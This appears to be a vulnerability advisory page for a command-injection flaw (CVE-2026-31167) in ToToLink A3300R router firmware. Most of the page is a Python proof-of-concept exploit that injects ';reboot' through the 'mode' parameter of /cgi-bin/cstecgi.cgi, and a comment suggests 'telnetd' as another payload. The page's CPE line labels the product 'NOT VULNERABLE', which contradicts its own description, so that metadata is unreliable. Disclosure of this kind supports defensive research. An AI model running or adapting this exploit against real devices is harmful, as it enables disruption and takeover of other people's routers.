An issue was discovered in ToToLink A3300R firmware v17.0.0cu.557_B20221024 allowing attackers to execute arbitrary commands via the mode parameter to /cgi-bin/cstecgi.cgi.
cpe:2.3:h:totolink:a3300r:-:*:*:*:*:*:*:* - NOT VULNERABLE
ToToLink A3300R firmware v17.0.0cu.557_B20221024
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests
# Target URL (Replace <TARGET_IP> with actual IP)
target_url = "http://<TARGET_IP>/cgi-bin/cstecgi.cgi"
# Malicious payload to inject command (e.g., `reboot` or `telnetd`)
# Using semicolon to separate commands
payload = ";reboot"
# Construct POST data
# Note: Parameter names might vary based on specific implementation
data = {
"mode": payload,
"action": "set"
}
headers = {
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "Mozilla/5.0 (Compatible; CVE-2026-31167-Scanner)"
}
try:
response = requests.post(target_url, data=data, headers=headers, timeout=5)
if response.status_code == 200:
print("[+] Request sent successfully. Check if device rebooted.")
else:
print(f"[-] Request failed with status code: {response.status_code}")
except Exception as e:
print(f"[-] An error occurred: {e}")